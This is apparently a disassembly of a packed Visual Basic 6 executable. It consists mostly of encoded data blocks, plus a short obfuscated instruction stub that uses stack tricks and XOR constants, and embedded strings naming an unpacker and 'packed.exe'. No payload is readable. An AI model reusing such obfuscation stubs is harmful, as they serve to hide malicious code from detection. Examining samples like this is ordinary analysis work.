dd 0A683384Dh, 2D411260h, 0B5C99AD6h, 3B4F2050h, 71D3A4C4h
dd 35FC902Ch, 217F3047h, 3F26D9D1h, 611AABC7h, 0CD86E21Dh
dd 5B0C6ACEh, 0E9F3C4A4h, 69931846h, 1039h, 24CF3B00h
dd 0A000001h, 914A0412h, 0C1FA7740h, 4226D943h, 0B8EAB479h
dd 98E661E0h, 569h, 0A778FA12h, 2AFB6F93h, 0AF80EA16h
dd 3102669Bh, 0B889E91Dh, 0F5117EA3h, 6B98AC7Dh, 0E5203405h
dd 59A6BA8Bh, 97DC3E0Fh, 473667FBh, 3484E230h, 7F4226D9h
dd 0F9CC60FCh, 0BE4F2A2Ch, 27D81C85h, 46898841h, 42B40DF2h
dd 35B21331h, 26BAF384h, 80E81740h, 0ED186CAFh, 6D104A83h
dd 60699385h, 0Dh, 0A1CF62h, 0CFFF0000h, 9Bh, 119FFh, 34D8A13Dh
dd 0CC5D3416h, 0F6F70F13h, 4FD69733h, 1AAB3A2Ah, 0B6C2D651h
dd 0A2F06BE0h, 4D5h, 3B0C66A6h, 0BE8FDB27h, 431456AAh
dd 0C596D22Fh, 4C1D55B1h, 61A58237h, 0D72C4011h, 51B4C899h
dd 0C53A4E1Fh, 2B70D2A3h, 4736FB8Fh, 0D0207E30h, 0C3AD56AAh
dd 8C90C90Ah, 2DB07374h, 0AAB8DB35h, 9DD6CF5Eh, 11317011h
dd 62A1F534h, 0F182D50Eh, 7B0FAB2Eh, 0FE3041A3h, 6DC1346Dh
dd 0AA06D793h, 3041A411h, 490C5CA3h, 235C0CF5h, 0F8728EA2h
dd 45FF13Fh, 19210000h, 0A13D0001h, 341634D8h, 8609CC5Dh
dd 472C56EAh, 4F19E830h, 1EB25596h, 90D18AE8h, 595DC6FFh
dd 0FA7D4041h, 70766A02h, 474240D4h, 0F22ABB30h, 1F58B3E4h
dd 2B07D293h, 5D26B73Ah, 0E0B61ABCh, 16A0EE69h, 65000004h
dd 0E6FACBA7h, 697D4E1Ch, 0EE02D397h, 70845513h, 0F60BDC96h
dd 0D0A264C1h, 5818EBFFh, 0DE927387h, 6206F90Dh, 4EEA2F91h
dd 304737BAh, 0AA87D735h, 0A0F6EDB2h, 0ABE30D69h, 3373A5A0h
dd 0C8CC05EDh, 1355ACB0h, 0C588195Ah, 0F12A642h, 0FC8D2A2Dh
dd 96CF9968h, 49C28723h, 36C73416h, 88E01F73h, 0C5CA3B7h
dd 36374F53h, 88E01F73h, 0C40DC4Fh, 4F3A305Dh, 58A7FBBEh
dd 0D42B3F10h, 0BFD7DB94h, 1C03FBBEh, 0EEB567A8h, 0D773E61Fh
dd 3410A62Ah, 4F16EB3Fh, 0BDFEB7B3h, 0FA0F32Ch, 0AC74DF46h
dd 351CCE6h, 36Dh, 0A374FE0Eh, 26F7738Fh, 0AB7CEE12h, 2DFE6A97h
dd 0B485ED19h, 0F90D7A9Fh, 6F94A879h, 0E91C3001h, 5DA2B687h
dd 93D83A0Bh, 473863F7h, 3888E630h, 0BDAB56AAh, 0A9BF4084h
dd 6E53ACF0h, 53EF53BBh, 2A2D85BFh, 4571A93Ah, 4B0E9F58h
dd 81982CC8h, 82132A2Dh, 0DCF4C849h, 937C18DBh, 0F63410B2h
dd 13CC9E62h, 0FC8841D2h, 3041B164h, 6FBF338h, 6377492Bh
dd 96D0649Dh, 0A7B328CBh, 0B652D56Fh, 30418D22h, 0A6D30C9Dh
dd 34h, 0AD56AAA8h, 6E868AC3h, 0D50EAA6Dh, 9834101Fh, 87DB4E07h
dd 9024C07Eh, 0B304113h, 0EF30E97Ah, 13922AB6h, 663041h
dd 3658FB66h, 0E34B6FA7h, 4D000000h, 894226D9h, 58AEC145h
dd 8F20611Ah, 0FB6D92D6h, 0C001FE42h, 62D76D06h, 6AFE9AB7h
dd 0E52A2DE8h, 6132C354h, 2CF4BB05h, 0EA69E2Ah, 3397D7CAh
dd 0DB2468A1h, 57A8BC8Dh, 3C545811h, 83DC783Bh, 0E63410BDh
dd 9D33C763h, 25B63041h, 3FF87091h, 0E172C5FEh, 23243C10h
dd 0AD41DD60h, 3030419Ch, 57F3669Fh, 3A28545Eh, 7AF60FA3h
dd 2CEF80C1h, 0A432DD8h, 0AFC34397h, 333CCADEh, 440D9ED2h
dd 0E0BAFEE7h, 221765E0h, 59000002h, 0DAEEBFB3h, 5D714228h
dd 0E2F6C7A3h, 6478491Fh, 0EAFFD0A2h, 0C4AE5835h, 4C24DFF3h
dd 0D29E677Bh, 5612ED01h, 42DE2385h, 304739AEh, 0D983D331h
dd 2E82452Dh, 9DDE97D1h, 30CFE364h, 0C67D7538h, 0EEFA8D5Fh
dd 2366E720h, 239534CFh, 0F36D72C0h, 3C7D36C7h, 1198503h
dd 68A13D00h, 0ED341020h, 0BA45995Ch, 800C75AEh, 304113E8h
dd 2EE7897Ah, 9A5315EAh, 283F379Bh, 99DA93DDh, 1D71B608h
dd 0BC5089E9h, 3614B7BAh, 3EC16FA7h, 41080EA2h, 6C009130h
dd 709DD694h, 104h, 4226D972h, 0B1C14589h, 0D23185F8h
dd 0D672E59Eh, 2A2CFA42h, 639B2CBDh, 4EAA02D7h, 18DC6A9h
dd 2A2CA2B7h, 0D62F36C9h, 0CA0E19Ah, 13E475F3h, 0E6877CD0h
dd 7C0511Fh, 9ED432C6h, 8ADE2165h, 0B4B5CDD1h, 4766EF1h
dd 4D1651CAh, 39F27689h, 0A22E67F8h, 34108F49h, 276A3BCCh
dd 6B68F42Fh, 0DB1CD595h, 4B97D1A3h, 69224EB7h, 0D3EBEF28h
dd 45BB0FD2h, 7F31D67Eh, 0B647B0CDh, 946E0A7Dh, 773A2876h
dd 0D7240F7Fh, 2F8BA73Bh, 5991222Ah, 195287E8h, 9AD032C6h
dd 14F24609h, 0C74A8D5Eh, 23DC8C73h, 0B57206E2h, 0B5ED2A2Fh
dd 3315886Eh, 3F780975h, 9E670BFBh, 0E0BAA65Bh, 0C27FCD48h
dd 0B9000000h, 3A4E1F53h, 0BDD1A2C8h, 42562743h, 0C4D8A9BFh
dd 4A5F3042h, 244EB895h, 0ACC43F53h, 323EC7DBh, 0B6B24D61h
dd 0A23E83E5h, 30473B0Eh, 0D9E33391h, 0A9BF422Dh, 185AACF0h
dd 1125F687h, 5BA97AEEh, 7F4226D9h, 0F9CC60FCh, 3BBA2A2Ch
dd 0B2C5DAC0h, 27BB4CEFh, 0F25B94DCh, 461751AEh, 96595A72h
dd 1640C2FAh, 7B34C534h, 0CFA0C837h, 0ED0F948Ch, 0C5BD4F82h
dd 0B1B7488Ch, 1F89F6EEh, 7F4B2BCh, 79BA73FFh, 0BA46AFE8h
dd 3EA71FB6h, 6EF97DD1h, 0F206D791h, 5EA25B0Dh, 0E40CC5A3h
dd 2669BEFh, 263135C9h, 0AABE8FD9h, 0FC501355h, 0C7306907h
dd 0C79h, 26ABA900h, 2288532Eh, 3C7597FFh, 3F33D9BEh, 0ABBD4286h
dd 1957AEF2h, 89E71C60h, 0F87A8CD0h, 670BFB3Fh, 0D1976AAEh
dd 3E2CD418h, 0A9C14185h, 0C68EAF0h, 8900002Eh, 4B68243Ch
dd 8900003Eh
; ---------------------------------------------------------------------------
sbb al, 24h
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esi
push esi
push ecx
mov ecx, 51153908h
mov esi, ecx
pop ecx
mov ebx, 570F0D2Eh
xor ebx, esi
pop esi
push esp
mov esi, [esp]
add esp, 4
push ebx
push ebp
mov ebp, 26FD0184h
xor [esp+4], ebp
pop ebp
pop dword ptr [esi+8]
xor dword ptr [esi+8], 26FD0184h
mov esi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_55D2A6
; ---------------------------------------------------------------------------
dd 64432DFh, 9952C624h, 42C7B8CFh, 0C503061Ah, 9781E0FFh
dd 1509394Fh, 10A458B7h, 9732252Ch, 0E46B4FF4h, 1F851453h
dd 0E64E41CCh, 4674968h, 46484811h, 4E5F1C96h, 70867B37h
dd 88833CBEh, 0E4061192h, 32B94994h, 2BEF34B2h, 0FF596074h
dd 0DA95C29h, 0F66207E1h, 6FE917E7h, 8F000001h, 0C55B8835h
dd 4377E705h, 5F6D5C3Ah, 61706E75h, 72656B63h, 63617000h
dd 2E64656Bh, 657865h, 3Ah dup(0)
dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h
dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h
dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh
dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h
dd 654Eh, 4 dup(0)
dd 0D7E90000h, 6800001Bh, 61A4705h, 0FA3902E9h, 47DC68FFh
dd 0F8E9061Ah, 68FFFA38h, 61A48DAh, 0FA38EEE9h, 49B468FFh
dd 0E4E9061Ah, 68FFFA38h, 61A49F3h, 0FA38DAE9h, 4AAD68FFh
dd 0D0E9061Ah, 68FFFA38h, 61A4B19h, 0FA38C6E9h, 4B6B68FFh
dd 0BCE9061Ah, 68FFFA38h, 61A52DDh, 0FA38B2E9h, 538468FFh
dd 0A8E9061Ah, 68FFFA38h, 61A543Fh, 0FA389EE9h, 550A68FFh
dd 94E9061Ah, 68FFFA38h, 61A5575h, 0FA388AE9h, 561368FFh
dd 80E9061Ah, 68FFFA38h, 61A56CEh, 0FA3876E9h, 575F68FFh
dd 6CE9061Ah, 68FFFA38h, 61A5DF4h, 0FA3862E9h, 5EF268FFh
dd 58E9061Ah, 68FFFA38h, 61A5FA8h, 0FA384EE9h, 0C7F8E4FFh
dd 823B9875h, 3C7F5330h, 0F1C80DEAh, 0A815C29Fh, 159B1D56h
dd 0CCA9FBC2h, 8562B405h, 3D1A6C53h, 0C4D02299h, 2D50363Ch
dd 6964580Ch, 0F7C41202h, 23983E4Bh, 0D787F5D1h, 38F6898Fh
dd 3C6457E5h, 96B91DF4h, 0B3824888h, 0D6059D20h, 4544266Ch
dd 2D4F5806h, 0C40FDC6Dh, 75ECAF9h, 0F7F8D991h, 39h, 874F170Eh
dd 0F1E79B81h, 187AF51h, 51F1E81Bh, 0CED8072Fh, 9B68B060h
dd 7CD4803Bh, 7E41474Dh, 4C57E503h, 50327824h, 5B580603h
dd 0E3821939h, 1BF8D9D6h, 0CDh, 0F7C41232h, 24993E4Bh
dd 506B6B78h, 7A553108h, 4E371D23h, 234B51F2h, 8AAA8CCh
dd 74626FD9h, 0A1DFF547h, 0D351F265h, 661F050Bh, 0B3351F2h
dd 0B605D1DCh, 6C4F8764h, 70565C24h, 8451F266h, 0B7C32D5Ch
dd 575DA549h, 57E5801Ch, 0D1E8EDCAh, 9D0BE739h, 0FED2A9F1h
dd 4A78AB4Dh, 9B636998h, 9B50ACEh, 123E82B1h, 205DFB54h
dd 0E3D8053h, 521A628Ah, 0BF6B5285h, 0AA2D3867h, 0F3E4C113h
dd 8637670Bh, 821A6786h, 937A80A4h, 0C5D3BD38h, 1932h
dd 0A8FAC517h, 63B508CBh, 1D6F4C86h, 0D2249540h, 89DBE2F5h
dd 8F486850h, 0D2FFDC2Eh, 20B895E7h, 66704D9Fh, 6FF70355h
dd 0C2F8369h, 359C9758h, 0A6F8C512h, 5CAE0DC9h, 0F9A513A3h
dd 2E8ABB1h, 673457E5h, 9D21506Bh, 0A183C975h, 26580602h
dd 576410ADh, 5F933F7Ah, 13DADF7Bh, 5861703Dh, 0D32554ACh
dd 0D6491CB7h, 0AFB5F8D9h, 0AD000000h, 0EF9DFE5h, 0E50D5806h
dd 0C412CFB6h, 993E4BF7h, 0F4327824h, 2151F1EBh, 0D7B406B5h
dd 410BCFFh, 0D5A2EA96h, 0B911BDFCh, 437E848Ah, 6F57E506h
dd 5A8936A2h, 805CAED6h, 20266E12h, 5DFADB05h, 36034B73h
dd 0F2CA1CA1h, 0DB121A1Bh, 82880CB8h, 5E1CBB9Ch, 0C1F088B0h
dd 0BE9C21B6h, 38946370h, 5BE9F7E1h, 0EE000018h, 0A27FD1EEh
dd 5D3A8C31h, 17F44675h, 0CCA9FBBEh, 2760B20Bh, 5B81F91h
dd 0BEFBD6B3h, 76498F6Ch, 2C8F4724h, 4046CEDAh, 580C2F5Ah
dd 120C736Eh, 0CEA6F8C5h, 75037CF7h, 0CCFB3CA5h, 5EA615C1h
dd 46754491h, 0C4127D36h, 983E4BF7h, 87F5D123h, 0BB08B522h
dd 9FF7A316h, 0E4F2BF07h, 0A4D32BD7h, 48FFD69Eh, 0A81D9907h
dd 0B9286C9Bh, 4D57E547h, 0B9655680h, 86AE3261h, 48B294DAh
dd 9BBD5806h, 8C81E4FFh, 0E97DF8D9h, 94000000h, 5ECC79D1h
dd 99E6D5FDh, 9DE57D3Ch, 0E5014C97h, 7B331A57h, 0C0EDEAC0h
dd 54F58Dh, 8A7EB04Ch, 10580876h, 93CB570Ah, 95DD0532h
dd 9991C8BEh, 0B1273DDCh, 720A620Eh, 5FCDD943h, 0D29F67AFh
dd 4488B704h, 38A92E77h, 856B7149h, 1238CC2Eh, 0C34FABFh
dd 775F2C74h, 0DF77428Fh, 0E026B08Dh, 0C51DC9F2h, 0F0E94F2Dh
dd 927C5DE4h, 175D84h, 0CFF0EC00h, 8A33A07Dh, 44775B38h
dd 0F9C015F2h, 0B00DCAA7h, 1D93255Eh, 0D4B103BAh, 8D6ABCFDh
dd 4522744Bh, 0CCD82A91h, 30583E44h, 716C580Ch, 8D4A170Ah
dd 0E0F60130h, 0FC693DBh, 43DBE2F5h, 0A6103F97h, 3C842C9Ah
dd 0E500C736h, 0D500DD57h, 6713A62Fh, 97DF770Fh, 8A5DF9C0h
dd 30789358h, 65A442Ah, 1305858h, 854C19F1h, 0D9308834h
dd 0D50E1E53h, 0B79ECDEDh, 5ECC79D1h, 369D6AB2h, 8A525887h
dd 0F8A41BBDh, 0E22D71A0h, 0B057E501h, 0AB93E788h, 2DDCECFDh
dd 0C1C70FBFh, 0E522190Eh, 0DCE894BCh, 0B27AC26Eh, 18FEE4EAh
dd 468BE543h, 3885AD73h, 1D75219Ah, 99DDAAEEh, 87AFEB37h
dd 5764723Fh, 2A8F420Fh, 0E7F7267Eh, 11EFCC0Ah, 0AB568631h
dd 83505E48h, 0C6000016h, 7A57A916h, 35126459h, 0EFCC1E9Dh
dd 0A481D3E6h, 0FF388A33h, 0DDE0F7B9h, 9623AE8Bh, 4E716744h
dd 4B71FFCh, 181EA6B2h, 580C3132h, 12E44B46h, 3319F7C4h
dd 5A44BF38h, 16446270h, 0D7050000h, 1AB996E8h, 5E7451A3h
dd 0A72E0B5Dh, 0F4E3C012h, 7A3E77C9h, 0CA1CA136h, 83D5E4EDh
dd 3B8D32A6h, 0F143785Eh, 71575DE5h, 85580C31h, 0C412238Ah
dd 0E1E7AFF7h, 51F1E7FBh, 3B9AE70Fh, 4B7AD27Eh, 0B767D5E1h
dd 0EEB6696Fh, 3C6457E5h, 0D665CCEAh, 6A70B868h, 5DF9081Fh
dd 0E24C5EDh, 95A4046h, 966E5E1Ah, 1A08AA90h, 0FE96BE5Eh
dd 0E0578BCFh, 1381D880h, 6A1D236Bh, 1800B5DCh, 0CA3844F0h
dd 0BD8DE26h, 0DD06CB5Dh, 9FA56DB5h, 6EE5CB9h, 0F44EA5CDh
dd 9567AD03h, 0B7848AB9h, 8C549C1Fh, 0EE59A086h, 5D8CB406h
dd 5566704Dh, 0C2C5DF77h, 0CAD8C28Fh, 158Ah, 50A21DBFh
dd 0B5D6073h, 0C517A42Eh, 7ACCEDE8h, 31833A9Dh, 0E7F0C0F8h
dd 2AA784D6h, 78603D8Fh, 0BE18F547h, 179FABFDh, 0C322B11h
dd 0DD443F58h, 0F1E7F3D9h, 18654751h, 18EF51F1h, 134336E2h
dd 3E82B107h, 51F1F25Ch, 0F2D1C6A8h, 27795051h, 423CC272h
dd 0A138C0CDh, 7D15148Bh, 2893434Eh, 0BE4C164Ah, 0A7B59F44h
dd 151Eh, 0BC0EB12Bh, 77C9F4DFh, 3183389Ah, 0E6388154h
dd 9DEFCE09h, 7B5C5464h, 0BE13F042h, 0CCCA9FBh, 528461B3h
dd 830B1769h, 0C32977Dh, 49B0AB58h, 9344A513h, 0E78E747Ah
dd 7AA251F1h, 0FC024AE2h, 57E5197Dh, 0BDAD8BB3h, 0C3EAB26h
dd 14CC1422h, 5F7D0000h, 0A2310E60h, 0E6ECC91Bh, 2FA683D5h
dd 7C5B388Ah, 2B6EF41h, 429429AEh, 0FB4D6C65h, 0B305BA1Eh
dd 69BB00D6h, 0E9CFD55Dh, 0FD580C32h, 4A179B02h, 2A822E8Bh
dd 20E6F0FBh, 19BC09B2h, 0F3C008A0h, 0D52DD9E4h, 0A72F3CA6h
dd 7B5B6814h, 4C879440h, 0CE70C571h, 0C1D52D8Ch, 0ED5B0A81h
dd 24A3FEEDh, 0BA000000h, 0F1E7F7D9h, 615A7C51h, 7D8B4C19h
dd 9DCC645Bh, 6C16778Dh, 0A24E502Ah, 0B605CD9Ah, 14447B87h
dd 12D20000h, 279442C4h, 0EDBE38Fh, 0BFC9F8C5h, 9865AD51h
dd 4C52813Ah, 0E5EE6B46h, 0DF315957h, 33399503h, 5805EE4Dh
dd 59A13961h, 0F93C0453h, 6B2DA5Dh, 2C32D9F9h, 5E1A1D46h
dd 1CECD2D8h, 0D8005E1Ah, 0A52EA12h, 1D563C42h, 0F0E35E1Ah
dd 0B0DF07CDh, 1CA78AA0h, 0A52E5E1Ah, 0EAE9C618h, 0B91A27D3h
dd 82E65804h, 4C5A31C0h, 86A32D53h, 10C3CEFDh, 3E9865ADh
dd 4A79D17Dh, 8C69FC3Ah, 5195F2C5h, 0AC000002h, 0B1F9A513h
dd 0E5E954ABh, 0D8FBC857h, 94E139E5h, 0C74B7A43h, 0EDE6F39Fh
dd 32A17ED0h, 0F6C30EDBh, 5E98A70h, 30161C58h, 445805EAh
dd 0E12E561Ch, 8632CAF1h, 9625B17Eh, 85318849h, 0D8BAFE2Dh
dd 36580519h, 0D7FC3052h, 0EFBC94E6h, 87FD6E9h, 0E6F4D941h
dd 0CD3B4574h, 0B11D921h, 5805EE25h, 0EF9B20B2h, 61A9D197h
dd 5EE755Bh, 32618958h, 0F6B262Ch, 0F1195DF9h, 699F3845h
dd 4BA34F6Eh, 0B28961B3h, 0A30A4659h, 0C5D0FF5Bh, 8C63AB12h
dd 0A0F0BD0Fh
dd 67D1003Ch, 7845925Fh, 0EB210549h, 9F835E19h, 2F8E49E3h
dd 0EB9301DDh, 0ED7A9DA3h, 0E008640Dh, 0E4CAD098h, 0F8642DEDh
dd 2A37A1D0h, 0E0BD0FACh, 0D319C5F6h, 642DEDEDh, 1ED36F53h
dd 0EABA0147h, 0CF27D3E8h, 9D160578h, 8973636Eh, 32C36226h
dd 0A8FA9211h, 0D70008CBh, 95A24EE6h, 61D37F3Eh, 2CA75DFDh
dd 2EC6F7DCh, 1C79EDCh, 9837ECB1h, 4E000000h, 4CF8C512h
dd 6370983Fh, 0A416C25Ah, 0EDEA0240h, 25407ED0h, 0D9FEEDEEh
dd 7Bh, 0F7C412F0h, 23983E4Bh, 0F8C50EDBh, 5BC5F44Ch, 2FC585E9h
dd 0F5CC14A7h, 0C3F8B5F9h, 959BE325h, 51F2E3AFh, 5C6C9BC3h
dd 0ECF1471Eh, 49B7FEh, 0D8AF0000h, 329D7DC4h, 0B89FCE5Bh
dd 0B1F9A513h, 0E5EA88ABh, 42EE1657h, 51686D3Ah, 0DA1E4DA5h
dd 5805EAF8h, 90A1E103h, 0EADCC2C8h, 6F695805h, 864CA450h
dd 0A2C32F5Eh, 5CF8D9EAh, 0BCh, 0B74F8754h, 5D09A11Ch
dd 17EFD605h, 2F8C4Ah, 90D888F6h, 0E50D538Ah, 35E10957h
dd 795F652Dh, 8D58060Eh, 2BB1865h, 0B20BC8D3h, 6D508360h
dd 0EBECB9C1h, 3B98A3D2h, 0A5633A82h, 43F842Eh, 14C0FDDAh
dd 8BF524BCh, 6495B519h, 3CC1E58Dh, 88D5BF55h, 69C16D4Eh
dd 19A42F3Ah, 8EDC89C7h, 4F22F8D9h, 39000000h, 0B3FBAB13h
dd 0F1E7E7ADh, 0DDE3BBD1h, 0D1F1E7F7h, 9F4BE30Bh, 0F1E97759h
dd 7012B4D1h, 28F555BDh, 0A58B11AAh, 32D1F1E8h, 745117A4h
dd 2DC55D5Eh, 0E919DFE5h, 0C5ED51F1h, 9627B07Dh, 11795767h
dd 0B1000000h, 0E8FDE3E9h, 0E91151F1h, 6711D3BAh, 68000000h
dd 2F8C4A17h, 2EDDF500h, 0F1E84228h, 5D795651h, 8E6FC65Eh
dd 53365795h, 626A16AEh, 3BBD4395h, 514AC6B5h, 4AA24EE6h
dd 0FAC3101Bh, 0B508CBA8h, 0E694FD09h, 7365323Ah, 0F8D91D4Ch
dd 7B51F1F6h, 0A7B4605Bh, 8BE38F2Ah, 7177943Eh, 51F1F68Bh
dd 33DF779Fh, 0BC3D5DC1h, 1CB7D3F5h, 0FEEDE249h, 0C1AB5h
dd 0AA13CC00h, 9D0A50FCh, 0AEDB5A3Bh, 90D5CE8Ch, 6E7542B8h
dd 48h, 0D03F9966h, 9D24E4CAh, 38D0F8DBh, 0E6EC348Ch, 0DB9D2500h
dd 0D6BDEC14h, 0B4FCAA13h, 0F1E7C8AEh, 4A8D5A51h, 98C04473h
dd 0BB17E4ECh, 0F58DD100h, 5CFB05D5h, 1CE9183Ah, 5804B5h
dd 250065D1h, 7AFE557Ah, 15000002h, 0D3FCAA13h, 63494F17h
dd 7751F1E8h, 0F097204Fh, 0CEF7C412h, 8ED1A8BEh, 7C8E5BE7h
dd 0B118FF2Eh, 1EDE5C4h, 465Ah, 0AA137100h, 0F1E7B4FCh
dd 0E832181Eh, 1E4651F1h, 4CDDA86h, 7EE1DB5h, 0E82E1117h
dd 0EDBA51F1h, 0CD25D1E8h, 0C9F21A9Eh, 0C0126E17h, 952D9246h
dd 7D4A106Ch, 93B7A654h, 8D6B2D8Ch, 0C2F149F5h, 3211DBh
dd 13680000h, 17D3FCAAh, 0F1E82E11h, 9B365151h, 175D861Eh
dd 0E863494Fh, 1FE651F1h, 1FD4F40Eh, 0B7E60ED4h, 0C01208B1h
dd 84308D46h, 0C9F4DF2Ch, 69100831h, 32874A17h, 0BBFF2E86h
dd 0C1D64846h, 0B322E6F1h, 3F1C6E06h, 0FDC2497h, 0F048F4C7h
dd 6A6D38C1h, 1ABD8853h, 0EDEAF7A3h, 0CF024D0h, 67CB6B4Eh
dd 0F6C5112Bh, 1F9C3A55h, 4ADF00D7h, 0BA6B1A28h, 743C028Bh
dd 19AE886Eh, 45749CE2h, 0F78D61F9h, 0AF43292Fh, 0DC6E219h
dd 7D28E626h, 0ABDA02C8h, 31083959h, 94F6D96Bh, 0A80F4D07h
dd 35F3B5D2h, 73636E9Dh, 0A4330048h, 0E6156D19h, 516A6C87h
dd 0B31CBB86h, 0E2195AD0h, 0CDEBB6DEh, 4B182969h, 56117688h
dd 4F7AD3D2h, 597D88B7h, 31A6C162h, 0E592E08Ch, 0FB315123h
dd 0CC99E1DCh, 0E5D8FB09h, 0F249E139h, 933A2B6h, 58689794h
dd 95605B7Bh, 0DFC20DCAh, 6BE21932h, 0A40D994h, 0B1E0B5C0h
dd 0DD3A052Dh, 61758FCBh, 0DD8930A5h, 314CED85h, 3F4B16A5h
dd 4909ADA6h, 0F79823B3h, 79C1FADCh, 51C5ABB1h, 0B1D9E219h
dd 0A92EF982h, 4592725Fh, 7D48E078h, 0A55FFB5Fh, 0EED4DA31h
dd 2E21951h, 720AB125h, 11C592DAh, 46DEDDF5h, 0B413429Ah
dd 0D3FFD69Eh, 0C4A632ECh, 82967C02h, 82AAE219h, 0C4126C53h
dd 4A17CEF7h, 7801308Dh, 0C9F0E5B2h, 0AB13B39Ah, 962E8B46h
dd 17C7BE6Dh, 832F8C4Ah, 0E590FC2Bh, 3901EDE5h, 36h, 94995A31h
dd 3FEB625Ah, 5AB1CC13h, 0EB1A4D9Eh, 0FBAB1304h, 8C4A17D2h
dd 0CC64597Ah, 9399C820h, 0F1E7AA8Dh, 6790B851h, 0C1126E17h
dd 6910D3FCh, 3C11h, 0AB136800h, 0ECE6B3FBh, 0E833191Fh
dd 1F4751F1h, 5483DB87h, 784F176Dh, 0B0D4A513h, 0BD013045h
dd 51F282DAh, 176E97FDh, 0FCC1126Eh, 734A10D3h, 488D8862h
dd 166DC571h, 45744A7Ch, 18BCD95Eh, 0E5C51F1h, 0FFFFFD2Ah
dd 0E7F7D965h, 147D51F1h, 9B371466h, 0A46C7420h, 0F1E7B89Eh
dd 75A4CC51h, 0F1E84B31h, 0BDFED851h, 0EBD40411h, 4B31373Fh
dd 5F51F1E8h, 9DBDE137h, 6431871Ch, 0CC1E4D6Eh, 0AA5C768Eh
dd 8FE79328h, 0F0E2AFF7h, 0E82F151Bh, 1B4351F1h, 507FD783h
dd 4D706340h, 7B71FFBh, 5AD6155Bh, 698B1227h, 9AB3B229h
dd 0DEABBC97h, 1E1409F5h, 10DAFF5h, 6B71C69h, 6DD3025Ah
dd 21Ch, 0E7F6D984h, 107E51F1h, 0E7C4AAB0h, 0FBD851F1h
dd 0DE36E2DDh, 6066AE46h, 57E53415h, 8C69BBE3h, 652D7546h
dd 615795Fh, 36658D58h, 0A914BFCCh, 0F6D78A61h, 5A9CCA34h
dd 1FB4C12Bh, 78E6F29Eh, 13BE009h, 0AC443164h, 28E75E64h
dd 0F51D5DFAh, 96185D17h, 88968038h, 0D5Ah, 80D2EDEFh
dd 3B8D30A3h, 0F547745Eh, 0AAFCBD18h, 61B30ACDh, 0B7209028h
dd 0FAD7B406h, 48906DBFh, 8E482577h, 47CFDB2Dh, 0C3A5B41h
dd 0D746F58h, 728E4A17h, 0BB53A096h, 62912984h, 903C7F57h
dd 0D4BAC088h, 0E851F242h, 43240A10h, 103851F2h, 0D13F4978h
dd 1ADFE52Dh, 0EC57EB88h, 0B8EA5905h, 9A326CF2h, 0A1B38A52h
dd 31B440E8h, 0D2DD0Ch, 468C69BBh, 95D9BFC5h, 0C5ED580Ch
dd 6274812Dh, 0E18D2EA4h, 3945F189h, 0D5DB23CBh, 5DFFB2AEh
dd 92AAEBC2h, 0CFC0F18Bh, 16F41CA0h, 38909868h, 0B3919F89h
dd 9600000Ch, 4A277946h, 5E23489h, 0BF9CEECDh, 7451A316h
dd 0CF085A63h, 0AD10C7E9h, 66537E5Bh, 1EA13714h, 0D4E7EFCCh
dd 0E8EE7682h, 580C3B02h, 12B41B16h, 299642C4h, 577C4991h
dd 3362BA66h, 0F3F9C1C9h, 51F1E80Dh, 0C0CAF921h, 9966AE52h
dd 484E7D3Ch, 0E5F02F42h, 23759D57h, 0D92B9046h, 0AB2A8FFDh
dd 0E891394Fh, 57EF6657h, 0A9AF77BFh, 5806E1C3h, 7A80AFD7h
dd 26A474h, 993D0A5Eh, 476FF322h, 66A032FFh, 64B64E6Bh
dd 0D8BEC48Ch, 0EC5E2125h, 488A95C4h, 1CBAC773h, 79E7F39Fh
dd 60878DD5h, 74641442h, 0ECE1159Dh, 0D908F568h, 394F2D55h
dd 0CC327B4Dh, 0BF8D4E2h, 8B510000h, 0CE05E234h, 12C09DEFh
dd 5B7A57A9h, 0A82F0C5Eh, 2E8AC315h, 16685582h, 0CF219839h
dd 87D9E6F2h, 3D8F2CAAh, 0BDA3A931h, 0D1580C3Bh, 0C4126FD6h
dd 0F6E2AFF7h, 24309AC9h, 0BCC20AB6h, 57E5E7C9h, 1BE1AF7h
dd 993A1769h, 0BF57626Fh, 9227AA77h, 5C765363h, 0E79328AAh
dd 0ECA5F78Fh, 0B1F9A513h, 9AC9F2E4h, 34178E94h, 0F4CB57E5h
dd 7CE7A23h, 911B5BB2h, 0BEE66A99h, 57EACC12h, 0D3F55806h
dd 81491CB7h, 7FB5F8D9h, 0AD000000h, 8C6FD7D6h, 1A495169h
dd 0FCC11233h, 2D904350h, 0ABB17981h, 51F1E7C5h, 7782B1D9h
dd 0A2AF5B5Eh, 0BD00D731h, 89F7D325h, 0D4979DE5h, 0A257E5ECh
dd 32F69C7Ah, 39233EABh, 0B2D2Bh, 0FFC01C00h
dd 0BA03D0ADh, 74478B68h, 29904522h, 0E0DDFAD7h, 4D63558Eh
dd 4E1338Ah, 0BD9AECCDh, 7552A41Bh, 0FC085A61h, 3D886E74h
dd 0A19C580Ch, 8E4A173Ah, 0FE2D8531h, 8BDDE0F3h, 5BADh
dd 0C1120400h, 1FECB4FCh, 25A06B9h, 0F1E7967Ch, 5382AA51h
dd 0BF6FDDE9h, 37FA7177h, 83057E5h, 0AB09722Ah, 0C3D1BB3Eh
dd 0AC2h, 186A5587h, 0D325983Bh, 8DDFDCF6h, 429425B0h
dd 0F94B7265h, 1FB8F8C0h, 626F4C9Eh, 0B0280557h, 0F6E0BD0Fh
dd 0DF6773C5h, 0C3CF3D9h, 0A50C0758h, 4BF7C412h, 7723983Eh
dd 940F4B5Fh, 0FEEDEDD1h, 2372Dh, 49D14400h, 0A62D8EFCh
dd 31377F17h, 57E501E6h, 0BD00D7B4h, 666CB911h, 0B951A955h
dd 0CC3FC418h, 9D0BAB7Dh, 6CA3A9F1h, 225190CCh, 0D4424EFAh
dd 11DEE42Ch, 0E357A64Eh, 30A673BBh, 0EBAFFD6h, 9D61EB6h
dd 0B2C2F1C8h, 0D10501D5h, 327452EAh, 0F3EE7D2h, 0A241725h
dd 0B7250000h, 0FAD9B608h, 3E9471C3h, 874E2B7Dh, 0D403E032h
